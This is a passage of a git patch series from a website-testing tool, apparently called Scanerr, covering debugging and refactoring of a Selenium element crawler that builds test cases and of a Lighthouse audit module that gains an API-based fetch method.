         # found new input or textarea
         elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
             
+            # getting element values and type
             type = str(elem.get_attribute('type'))
             value = elem.get_attribute('value')
-            
             if elem.tag_name == 'textarea':
                 type = 'textarea'
 

From 2fc61b2eab1fe54d496e140474ae7b8fdf3deb04 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:16:53 -0600
Subject: [PATCH 518/752] fixed keyerror

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5ed643cb..04b0d480 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -376,7 +376,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
             data = {
                 'run': run,
                 'added': added,
-                'sub_element': sub_elements
+                'sub_elements': sub_elements
             }
             return data
 

From 7d16e942a9a321fd6fbcd6f3687e0821a30c3508 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:19:44 -0600
Subject: [PATCH 519/752] added new exception handling for is_element_visible()

---
 app/api/utils/autocaser.py | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 04b0d480..75aed8b5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -162,12 +162,15 @@ def update_process(
 
 
     def is_element_visible(self, element: object) -> bool: 
-        resp = self.driver.execute_script(self.visible_script, element)
-        resp = str(resp).lower()
-        if resp == 'true':
-            return True
-        if resp == 'false':
-            return False
+        try:
+            resp = self.driver.execute_script(self.visible_script, element)
+            resp = str(resp).lower()
+            if resp == 'true':
+                return True
+            if resp == 'false':
+                return False
+        except Exception as e:
+            print(f'is_element_visible() Exception -> {e}')
 
 
 

From 1a113099eb4ac7d4904142f9efa8f854e89d2756 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:30:09 -0600
Subject: [PATCH 520/752] fixed spelling

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 75aed8b5..85f6fdff 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -926,14 +926,14 @@ def get_elements(self):
                         elem = priority_elements[
                             random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0
                         ]
-                        print(f'choose priority element | type -> {elem.tag_name}')
+                        print(f'chose priority element | type -> {elem.tag_name}')
 
                     # choosing a random non-priority element
                     elif len(non_priority_elements) > 0:
                         elem = non_priority_elements[
                             random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0
                         ]
-                        print(f'choose non-priority element | type -> {elem.tag_name}')
+                        print(f'chose non-priority element | type -> {elem.tag_name}')
 
                     # returning early if no elem selected
                     if not elem:

From 38dc6ea4122a0c098c603d3e6afca7e5379658af Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:35:47 -0600
Subject: [PATCH 521/752] debugging

---
 app/api/utils/autocaser.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 85f6fdff..0073168c 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -170,7 +170,7 @@ def is_element_visible(self, element: object) -> bool:
             if resp == 'false':
                 return False
         except Exception as e:
-            print(f'is_element_visible() Exception -> {e}')
+            print(f'is_element_visible() Exception -> Stale element reference')
 
 
 
@@ -280,6 +280,7 @@ def get_current_elements(self) -> list:
         # then remove duplicates
         for elem in inputs_textareas_buttons:
             if elem in form_elems:
+                print('element already recorded in FORM')
                 inputs_textareas_buttons.remove(elem)
         
         # shuffle elements in place

From 03f49ef28babe43811bb6336361a21d94b945569 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:48:26 -0600
Subject: [PATCH 522/752] debugging

---
 app/api/utils/autocaser.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 0073168c..89ebe98c 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -278,11 +278,14 @@ def get_current_elements(self) -> list:
             form_elems += form_buttons
         
         # then remove duplicates
+        print(f'pre len of list -> {len(inputs_textareas_buttons)}')
         for elem in inputs_textareas_buttons:
             if elem in form_elems:
                 print('element already recorded in FORM')
                 inputs_textareas_buttons.remove(elem)
         
+        print(f'post len of list -> {len(inputs_textareas_buttons)}')
+        
         # shuffle elements in place
         random.shuffle(forms)
         random.shuffle(inputs_textareas_buttons)

From f23774fd4f79bf49f2398b8edb514eb2d2d0c668 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 14:06:56 -0600
Subject: [PATCH 523/752] disallowing `input` types for proritization

---
 app/api/utils/autocaser.py | 178 ++++---------------------------------
 1 file changed, 15 insertions(+), 163 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 89ebe98c..7b3d5e4b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -224,18 +224,21 @@ def get_priority_elements(self, elements: list) -> dict:
 
         # checking each element for prioriry words
         for element in elements:
+            
+            # disallowing inputs types due to form conflicts
+            if element.tag_name != 'input':
 
-            # get element's innerText
-            elem_selector = self.driver.execute_script(self.selector_script, element)
-            elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
+                # get element's innerText
+                elem_selector = self.driver.execute_script(self.selector_script, element)
+                elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
 
-            # check each priority word against element innerText
-            for word in priority_words:
-                if word in elm_text.lower() or elm_text.lower() in word:
-                    priority_elements.append(element)
-                    break
-                elif element not in non_priority_elements:
-                    non_priority_elements.append(element)
+                # check each priority word against element innerText
+                for word in priority_words:
+                    if word in elm_text.lower() or elm_text.lower() in word:
+                        priority_elements.append(element)
+                        break
+                    elif element not in non_priority_elements:
+                        non_priority_elements.append(element)
 
         # if priotity_elements[] is empty
         # look for any forms and add them
@@ -270,10 +273,10 @@ def get_current_elements(self) -> list:
             # form inputs
             form_inputs = form.find_elements(By.TAG_NAME, 'input')
             form_elems += form_inputs
-            # textarea inputs
+            # form textarea
             form_textares = form.find_elements(By.TAG_NAME, 'textarea')
             form_elems += form_textares
-            # textarea inputs
+            # form buttons
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
             form_elems += form_buttons
         
@@ -666,7 +669,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
 
 
-
     def get_elements(self):
 
         # get site page
@@ -819,82 +821,6 @@ def get_elements(self):
                     recorded_element = False
                     for elem in cleaned_elements:
 
-                        # get sub element info
-                        # elem_selector = self.driver.execute_script(self.selector_script, elem)
-                        # elem_img = self.get_element_image(element=elem)
-                        # relative_url = self.get_relative_url(self.driver.current_url)
-                        
-                        # # found new element, record, click, & continue
-                        # if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                        #     # record element
-                        #     sub_elements.append({
-                        #         'selector': elem_selector,
-                        #         'elem_type': elem.tag_name,
-                        #         'placeholder': None,
-                        #         'value': None,
-                        #         'type': None,
-                        #         'data': None,
-                        #         'action': 'click',
-                        #         'path': relative_url,
-                        #         'img': elem_img,
-                        #         'elements': None,
-                        #     })
-
-                        #     # click element
-                        #     try:
-                        #         elem.click()
-                        #     except Exception as e:
-                        #         print('Element not Clickable, removing')
-                        #         sub_elements.pop()
-
-                        #     # add to layers and ending internal loop
-                        #     layers += 1
-                        #     break
-
-                        
-                        # # found new input or textarea
-                        # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
-                            
-                        #     type = str(elem.get_attribute('type'))
-                        #     value = elem.get_attribute('value')
-                            
-                        #     if elem.tag_name == 'textarea':
-                        #         type = 'textarea'
-
-                        #     # record element
-                        #     sub_elements.append({
-                        #         'selector': elem_selector,
-                        #         'elem_type': elem.tag_name,
-                        #         'placeholder': elem.get_attribute('placeholder'),
-                        #         'value': value,
-                        #         'type': type,
-                        #         'data': self.input_types[type]['test_data'],
-                        #         'action': self.input_types[type]['action'],
-                        #         'path': relative_url,
-                        #         'img': elem_img,
-                        #         'elements': None,
-                        #     })
-                            
-                        #     # add to layers and ending internal loop
-                        #     layers += 1
-                        #     break
-                        
-
-                        # # found new form, record and end run
-                        # elif elem.tag_name == 'form':
-                            
-                            # record form into sub_elements list
-                            # sub_elements = self.record_forms(
-                            #     elements=sub_elements, 
-                            #     form=elem
-                            # )
-
-                            # # add to layers and ending case
-                            # layers += 1
-                            # run = False
-                            # break
-                        
                         # record element and increment if necessary
                         data = self.record_new_element(elem, sub_elements) 
                         run = data['run']
@@ -946,79 +872,6 @@ def get_elements(self):
                         layers += 1
                         run = False
                         break
-
-                    # # get sub element info
-                    # elem_selector = self.driver.execute_script(self.selector_script, elem)
-                    # elem_img = self.get_element_image(element=elem)
-                    # relative_url = self.get_relative_url(self.driver.current_url)
-
-                    # if elem.tag_name == 'a' or elem.tag_name == 'button':
-                    #     # record element
-                    #     sub_elements.append({
-                    #         'selector': elem_selector,
-                    #         'elem_type': elem.tag_name,
-                    #         'placeholder': None,
-                    #         'value': None,
-                    #         'type': None,
-                    #         'data': None,
-                    #         'action': 'click',
-                    #         'path': relative_url,
-                    #         'img': elem_img,
-                    #         'elements': None,
-                    #     })
-
-                    #     # add to layers
-                    #     layers += 1
-
-                    #     # click element
-                    #     try:
-                    #         elem.click()
-                    #     except Exception as e:
-                    #         print('Element not Clickable, removing')
-                    #         sub_elements.pop()
-
-                    
-                    # # found new input or textarea
-                    # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
-                        
-                    #     type = str(elem.get_attribute('type'))
-                    #     value = elem.get_attribute('value')
-                        
-                    #     if elem.tag_name == 'textarea':
-                    #         type = 'textarea'
-
-                    #     # record element
-                    #     sub_elements.append({
-                    #         'selector': elem_selector,
-                    #         'elem_type': elem.tag_name,
-                    #         'placeholder': elem.get_attribute('placeholder'),
-                    #         'value': value,
-                    #         'type': type,
-                    #         'data': self.input_types[type]['test_data'],
-                    #         'action': self.input_types[type]['action'],
-                    #         'path': relative_url,
-                    #         'img': elem_img,
-                    #         'elements': None,
-                    #     })
-                        
-                    #     # add to layers and ending internal loop
-                    #     layers += 1
-                    #     break
-                        
-                    
-                    # # check the type of element
-                    # elif elem.tag_name == 'form':
-                        # record form into sub_elements list
-                        # sub_elements = self.record_forms(
-                        #     elements=sub_elements,
-                        #     form=elem
-                        # )
-
-                        # # add to layers and ending case
-                        # layers += 1
-                        # run = False
-                        # break
-            
             
                     # record element and increment if necessary
                     data = self.record_new_element(elem, sub_elements) 
@@ -1026,7 +879,6 @@ def get_elements(self):
                     layers += 1 if data['added'] else 0
                     sub_elements = data['sub_elements']
 
-
                     # catching all other situations
                     # naving back to previous_url   
                     if not data['added']:

From fa941122f114c815d03355e62c9233dc111ff303 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 14:20:24 -0600
Subject: [PATCH 524/752] more debugging

---
 app/api/utils/autocaser.py | 17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7b3d5e4b..da4e8950 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -268,6 +268,9 @@ def get_current_elements(self) -> list:
         inputs_textareas_buttons = inputs + textareas + buttons
 
         # get all form inputs, textareas, & buttons
+        pre_itb = []
+        post_itb = []
+        form_selectors = []
         form_elems = []
         for form in forms:
             # form inputs
@@ -279,15 +282,25 @@ def get_current_elements(self) -> list:
             # form buttons
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
             form_elems += form_buttons
+
+        for n in form_elems:
+            form_selectors.append(self.driver.execute_script(self.selector_script, n))
+        
+        for j in inputs_textareas_buttons:
+            pre_itb.append(self.driver.execute_script(self.selector_script, j))
         
         # then remove duplicates
-        print(f'pre len of list -> {len(inputs_textareas_buttons)}')
+        print(f'form list -> {form_selectors}')
+        print(f'pre_itb list -> {pre_itb}')
+
         for elem in inputs_textareas_buttons:
             if elem in form_elems:
                 print('element already recorded in FORM')
                 inputs_textareas_buttons.remove(elem)
         
-        print(f'post len of list -> {len(inputs_textareas_buttons)}')
+        for k in inputs_textareas_buttons:
+            post_itb.append(self.driver.execute_script(self.selector_script, k))
+        print(f'post_itb list -> {post_itb}')
         
         # shuffle elements in place
         random.shuffle(forms)

From 218ff3f6ce7f931aaa93d247fa05e8c69cb1a769 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 14:32:41 -0600
Subject: [PATCH 525/752] fixing duplicate element issue

---
 app/api/utils/autocaser.py | 46 ++++++++++----------------------------
 1 file changed, 12 insertions(+), 34 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index da4e8950..8bb35e3d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -224,21 +224,18 @@ def get_priority_elements(self, elements: list) -> dict:
 
         # checking each element for prioriry words
         for element in elements:
-            
-            # disallowing inputs types due to form conflicts
-            if element.tag_name != 'input':
-
-                # get element's innerText
-                elem_selector = self.driver.execute_script(self.selector_script, element)
-                elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
+        
+            # get element's innerText
+            elem_selector = self.driver.execute_script(self.selector_script, element)
+            elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
 
-                # check each priority word against element innerText
-                for word in priority_words:
-                    if word in elm_text.lower() or elm_text.lower() in word:
-                        priority_elements.append(element)
-                        break
-                    elif element not in non_priority_elements:
-                        non_priority_elements.append(element)
+            # check each priority word against element innerText
+            for word in priority_words:
+                if word in elm_text.lower() or elm_text.lower() in word:
+                    priority_elements.append(element)
+                    break
+                elif element not in non_priority_elements:
+                    non_priority_elements.append(element)
 
         # if priotity_elements[] is empty
         # look for any forms and add them
@@ -268,9 +265,6 @@ def get_current_elements(self) -> list:
         inputs_textareas_buttons = inputs + textareas + buttons
 
         # get all form inputs, textareas, & buttons
-        pre_itb = []
-        post_itb = []
-        form_selectors = []
         form_elems = []
         for form in forms:
             # form inputs
@@ -283,24 +277,8 @@ def get_current_elements(self) -> list:
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
             form_elems += form_buttons
 
-        for n in form_elems:
-            form_selectors.append(self.driver.execute_script(self.selector_script, n))
-        
-        for j in inputs_textareas_buttons:
-            pre_itb.append(self.driver.execute_script(self.selector_script, j))
-        
         # then remove duplicates
-        print(f'form list -> {form_selectors}')
-        print(f'pre_itb list -> {pre_itb}')
-
-        for elem in inputs_textareas_buttons:
-            if elem in form_elems:
-                print('element already recorded in FORM')
-                inputs_textareas_buttons.remove(elem)
-        
-        for k in inputs_textareas_buttons:
-            post_itb.append(self.driver.execute_script(self.selector_script, k))
-        print(f'post_itb list -> {post_itb}')
+        inputs_textareas_buttons = [elem for elem in inputs_textareas_buttons if elem not in form_elems]
         
         # shuffle elements in place
         random.shuffle(forms)

From f34730fdaf39ab2b7e09dd0477a0cd9291040207 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:23:41 -0600
Subject: [PATCH 526/752] adding and testing lighthouse_api()

---
 app/api/utils/lighthouse.py | 351 ++++++++++++++++++++++--------------
 app/scanerr/settings.py     |   2 +
 2 files changed, 222 insertions(+), 131 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index a8e89c73..78689239 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -16,8 +16,37 @@ def __init__(self, scan=None, configs=None):
         self.configs = configs
         self.sizes = configs['window_size'].split(',')
 
+        # initial scores object
+        scores = {
+            "seo": None,
+            "accessibility": None,
+            "performance": None,
+            "best-practices": None,
+            "pwa": None,
+            "crux": None,
+            "average": None
+        }
+        
+        # initial audits object
+        audits = {
+            "seo": [],
+            "accessibility": [],
+            "performance": [],
+            "best-practices": [],
+            "pwa": [],
+            "crux": []
+        }
+
     
-    def init_audit(self):
+    def lighthouse_cli(self):
+        """ 
+        Serves as the CLI method for collecting LH metrics.
+        Creates a sub process running lighthouse CLI
+
+        Returns --> raw LH data (Dict)
+        """
+
+        # initiating subprocess for LH CLI
         proc = subprocess.Popen([
                 'lighthouse', 
                 '--config-path=api/utils/custom-config.js',
@@ -30,15 +59,79 @@ def init_audit(self):
                 f'--screenEmulation.{self.configs["device"]}',
                 '--output',
                 'json', 
-                ], 
+            ], 
             stdout=subprocess.PIPE,
             user='app',
         )
+
+        # retrieving data from process
         stdout_value = proc.communicate()[0]
-        return stdout_value
+        
+        # decode bytes into string
+        stdout_string = stdout_value.decode('iso-8859-1')
 
+        # clean string of any errors
+        delm = '{\n  "lighthouseVersion"'
+        stdout_string = delm + stdout_string.split(delm)[1]
 
-    def get_data(self):
+        # encode back to bytes
+        stdout_value = stdout_string.encode('iso-8859-1')
+        
+        # converting stdout str into Dict
+        stdout_json = json.loads(stdout_value)
+        return stdout_json
+
+
+
+
+    def lighthouse_api(self) -> dict:
+        """ 
+        Serves as the API method for collecting LH metrics.
+        Sends API requests to 
+
+        Returns --> raw LH data (Dict)
+        """
+
+        # defaults
+        headers = {
+            "content-type": "application/json",
+        }
+        params = {
+            "url": self.page.page_url,
+            "category": "accessibility",
+            "category": "best-practices",
+            "category": "performance",
+            "category": "pwa",
+            "category": "seo",
+            "strategy": self.configs["device"],
+            "key": settings.GOOGLE_CRUX_KEY
+        }
+
+        # setting up initial request
+        res = requests.get(
+            url=f'{settings.LIGHTHOUSE_ROOT}',
+            params=params,
+            headers=headers
+        ).json()
+
+        # try to get just LH response
+        res = res.get('lighthouseResult')
+
+        # return response
+        return res
+
+
+
+    def process_data(self, stdout_json: dict) -> dict:
+        """ 
+        Accepts JSON data from either CLI or API method 
+        and parses into usable Scanerr data.
+
+        Expects the following:
+            stdout_json: <dict> or json from output
+            
+        Returns --> formatted LH data <dict> 
+        """
 
         # setup boto3 configurations
         s3 = boto3.client(
@@ -48,138 +141,134 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # iterating through categories to get relevant lh_audits 
+        # and store them in their respective `audits = {}` obj
+        for cat in self.audits:
+            # skipping non-existent cat
+            if stdout_json["categories"].get(cat) is None:
+                continue
+            cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+            if cat_audits is not None:
+                for a in cat_audits:
+                    if int(a["weight"]) > 0:
+                        audit = stdout_json["audits"][a["id"]]
+                        self.audits[cat].append(audit)
+       
+        # get scores from each category
+        for key in self.scores:
+            self.scores[key] = round(stdout_json["categories"][key]["score"])
+        
+        # get scores from each category
+        # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
+        # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
+        # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
+        # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
+        # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
+
+        # changing audits & score names
+        self.scores['best_practices'] = self.scores.pop('best-practices')
+        self.audits['best_practices'] = self.audits.pop('best-practices')
+        self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
+       
+        
+        # attempting crux
         try:
-            stdout_value = self.init_audit() 
-            # decode bytes into string
-            stdout_string = stdout_value.decode('iso-8859-1')
+            crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
+        except:
+            crux_score = 0
 
-            # clean string of any errors
-            delm = '{\n  "lighthouseVersion"'
-            stdout_string = delm + stdout_string.split(delm)[1]
+        # dynamically calculating average
+        if crux_score == 0 :
+            crux_score = None
+            average_score = round((
+                    seo_score + accessibility_score + performance_score 
+                    + best_practices_score + pwa_score
+                )/ 5)
+        else:
+            average_score = round((
+                    seo_score + accessibility_score + performance_score 
+                    + best_practices_score + pwa_score + crux_score
+                )/ 6)
 
-            # encode back to bytes
-            stdout_value = stdout_string.encode('iso-8859-1')
+        # # updating global scores
+        # self.scores = {
+        #     "seo": seo_score,
+        #     "accessibility": accessibility_score,
+        #     "performance": performance_score,
+        #     "best_practices": best_practices_score,
+        #     "pwa": pwa_score,
+        #     "crux": crux_score,
+        #     "average": average_score
+        # }
 
+        # save audits data as json file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.json', 'w') as fp:
+            json.dump(self.audits, fp)
         
-            if len(stdout_string) != 0:
-                if 'Runtime error encountered' in stdout_string:
-                    error = {'error': 'lighthouse ran into a problem',}
-                    return error
-
-                stdout_json = json.loads(stdout_value)
-
-                # initial audits object
-                audits = {
-                    "seo": [],
-                    "accessibility": [],
-                    "performance": [],
-                    "best-practices": [],
-                    "lighthouse-plugin-crux": [],
-                    "pwa": []
-                }
-
-                # iterating through categories to get relevant lh_audits 
-                # and store them in their respective `audits = {}` obj
-                for cat in audits:
-                    cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-                    if cat_audits is not None:
-                        for a in cat_audits:
-                            if int(a["weight"]) > 0:
-                                audit = stdout_json["audits"][a["id"]]
-                                audits[cat].append(audit)
-                # changing audits names
-                audits['best_practices'] = audits.pop('best-practices')
-                audits['crux'] = audits.pop('lighthouse-plugin-crux')
-                
-                # get scores from each category
-                seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-                accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-                performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-                best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-                pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
-                
-                # attempting crux
-                try:
-                    crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-                except:
-                    crux_score = 0
-
-                if crux_score == 0 :
-                    crux_score = None
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score
-                        )/ 5)
-                else:
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score + crux_score
-                        )/ 6)
-
-                scores = {
-                    "seo": seo_score,
-                    "accessibility": accessibility_score,
-                    "performance": performance_score,
-                    "best_practices": best_practices_score,
-                    "pwa": pwa_score,
-                    "crux": crux_score,
-                    "average": average_score
-                }
-
-                # save audits data as json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(audits, fp)
+        # upload to s3 and return url
+        audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+        remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        audits_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(audit_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            )
+        # remove local copy
+        os.remove(audit_file)
+
+        # updating opjects
+        self.audits = audits_url
+
+        data = {
+            "scores": self.scores, 
+            "audits": self.audits,
+            "failed": False
+        }
+
+        # returning data 
+        return data
+
+
+    
+    def get_data(self):
+
+        scan_complete = False
+        failed = None
+        attempts = 0
+        
+        # trying lighthouse scan untill success or 2 attempts
+        while not scan_complete and attempts < 2:
+
+            try:
+                # CLI on first attempt
+                if attempts < 1:
+                    # raw_data = self.lighthouse_cli()
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
                 
-                # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                audits_url = f'{root_path}/{remote_path}'
+                # API after first attempt
+                if attempts >= 1:
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
+
+                scan_complete = True
+                failed = False
+
+            except Exception as e:
+                print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
+                scan_complete = False
+                failed = True
+                attempts += 1
+
+        data = {
+            "scores": self.scores, 
+            "audits": self.audits,
+            "failed": failed
+        }
             
-                # upload to s3
-                with open(audit_file, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(audit_file)
-
-                data = {
-                    "scores": scores, 
-                    "audits": audits_url,
-                    "failed": False
-                }
-
-            else:
-                raise RuntimeError
-        
-        except Exception as e:
-            print(e)
-
-            scores = {
-                "seo": None,
-                "accessibility": None,
-                "performance": None,
-                "best_practices": None,
-                "pwa": None,
-                "crux": None,
-                "average": None
-            }
-
-            audits = {
-                "seo": [],
-                "accessibility": [],
-                "performance": [],
-                "best_practices": [],
-                "pwa": [],
-                "crux": []
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
-        
+        # returning final data
         return data
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 4055b193..47617db7 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -29,6 +29,8 @@
 LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
+LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
+GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 

From 917884fdf5e25144b438586dd9b8d96385552fe8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:26:48 -0600
Subject: [PATCH 527/752] fixed object issue

---
 app/api/utils/lighthouse.py | 22 ++--------------------
 1 file changed, 2 insertions(+), 20 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 78689239..fbfa7192 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -17,7 +17,7 @@ def __init__(self, scan=None, configs=None):
         self.sizes = configs['window_size'].split(',')
 
         # initial scores object
-        scores = {
+        self.scores = {
             "seo": None,
             "accessibility": None,
             "performance": None,
@@ -28,7 +28,7 @@ def __init__(self, scan=None, configs=None):
         }
         
         # initial audits object
-        audits = {
+        self.audits = {
             "seo": [],
             "accessibility": [],
             "performance": [],
@@ -157,13 +157,6 @@ def process_data(self, stdout_json: dict) -> dict:
         # get scores from each category
         for key in self.scores:
             self.scores[key] = round(stdout_json["categories"][key]["score"])
-        
-        # get scores from each category
-        # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-        # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-        # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-        # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-        # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
 
         # changing audits & score names
         self.scores['best_practices'] = self.scores.pop('best-practices')
@@ -190,17 +183,6 @@ def process_data(self, stdout_json: dict) -> dict:
                     + best_practices_score + pwa_score + crux_score
                 )/ 6)
 
-        # # updating global scores
-        # self.scores = {
-        #     "seo": seo_score,
-        #     "accessibility": accessibility_score,
-        #     "performance": performance_score,
-        #     "best_practices": best_practices_score,
-        #     "pwa": pwa_score,
-        #     "crux": crux_score,
-        #     "average": average_score
-        # }
-
         # save audits data as json file
         file_id = uuid.uuid4()
         with open(f'{file_id}.json', 'w') as fp:

From 7af29e09a65eab6460bf15dc3622100029deb1ad Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:29:04 -0600
Subject: [PATCH 528/752] added requests package

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index fbfa7192..8911ebf9 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil, os
+import subprocess, json, uuid, boto3, shutil, os, requests
 from ..models import Site, Scan
 from scanerr import settings
 

From 2a5b3153b115e33c1e00905209c9c2dd121fa45c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:33:20 -0600
Subject: [PATCH 529/752] debugging

---
 app/api/utils/lighthouse.py | 41 ++++++++++++++++++++-----------------
 app/api/utils/scanner.py    | 18 ++++++++--------
 2 files changed, 31 insertions(+), 28 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 8911ebf9..ffa18a5d 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -225,26 +225,29 @@ def get_data(self):
         # trying lighthouse scan untill success or 2 attempts
         while not scan_complete and attempts < 2:
 
-            try:
-                # CLI on first attempt
-                if attempts < 1:
-                    # raw_data = self.lighthouse_cli()
-                    raw_data = self.lighthouse_api()
